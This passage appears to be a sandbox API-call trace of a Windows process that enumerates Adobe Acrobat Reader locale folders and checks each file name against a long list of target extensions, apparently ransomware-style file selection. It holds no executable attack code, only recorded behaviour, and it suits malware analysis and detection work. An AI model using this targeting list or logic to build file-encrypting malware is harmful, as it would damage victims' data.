ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.984] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x525, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.984] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x525, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.984] FindClose (in: hFindFile=0x3315970 | out: hFindFile=0x3315970) returned 1 [0275.984] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.984] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0275.985] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.985] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\es-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0275.985] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.985] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.985] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.985] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0275.985] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.985] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0275.986] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.986] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\eu-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0275.986] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.987] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.987] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.987] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0275.987] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.987] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0275.987] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.987] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\fi-fi\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0275.987] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.987] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.988] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.988] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0275.988] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.988] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0275.988] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.988] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\fr-fr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0275.990] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.990] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.990] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.990] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0275.990] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.990] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0275.990] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.990] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\fr-ma\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315570 [0275.991] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.991] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.991] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.991] FindClose (in: hFindFile=0x3315570 | out: hFindFile=0x3315570) returned 1 [0275.992] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.992] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0275.992] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.992] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\he-il\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0275.992] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.992] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0275.992] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0275.992] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.992] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0275.992] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.993] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\hr-hr") returned 131 [0275.993] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\hr-hr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0275.998] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.998] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.998] lstrlenW (lpString="ui-strings.js") returned 13 [0275.998] lstrlenW (lpString=".1cd") returned 4 [0275.998] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0275.998] lstrlenW (lpString=".3ds") returned 4 [0275.998] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0275.998] lstrlenW (lpString=".3fr") returned 4 [0275.998] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0275.998] lstrlenW (lpString=".3g2") returned 4 [0275.998] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0275.998] lstrlenW (lpString=".3gp") returned 4 [0275.999] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0275.999] lstrlenW (lpString=".7z") returned 3 [0275.999] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0275.999] lstrlenW (lpString=".accda") returned 6 [0275.999] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0275.999] lstrlenW (lpString=".accdb") returned 6 [0275.999] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0275.999] lstrlenW (lpString=".accdc") returned 6 [0275.999] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0275.999] lstrlenW (lpString=".accde") returned 6 [0275.999] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0275.999] lstrlenW (lpString=".accdt") returned 6 [0275.999] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0275.999] lstrlenW (lpString=".accdw") returned 6 [0275.999] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0275.999] lstrlenW (lpString=".adb") returned 4 [0275.999] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0275.999] lstrlenW (lpString=".adp") returned 4 [0275.999] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0275.999] lstrlenW (lpString=".ai") returned 3 [0275.999] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0275.999] lstrlenW (lpString=".ai3") returned 4 [0275.999] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0275.999] lstrlenW (lpString=".ai4") returned 4 [0275.999] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0275.999] lstrlenW (lpString=".ai5") returned 4 [0275.999] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0276.000] lstrlenW (lpString=".ai6") returned 4 [0276.000] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0276.000] lstrlenW (lpString=".ai7") returned 4 [0276.000] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0276.000] lstrlenW (lpString=".ai8") returned 4 [0276.000] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0276.000] lstrlenW (lpString=".anim") returned 5 [0276.000] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0276.000] lstrlenW (lpString=".arw") returned 4 [0276.000] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0276.000] lstrlenW (lpString=".as") returned 3 [0276.000] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.000] lstrlenW (lpString=".asa") returned 4 [0276.000] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0276.000] lstrlenW (lpString=".asc") returned 4 [0276.000] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0276.000] lstrlenW (lpString=".ascx") returned 5 [0276.000] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0276.000] lstrlenW (lpString=".asm") returned 4 [0276.000] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0276.000] lstrlenW (lpString=".asmx") returned 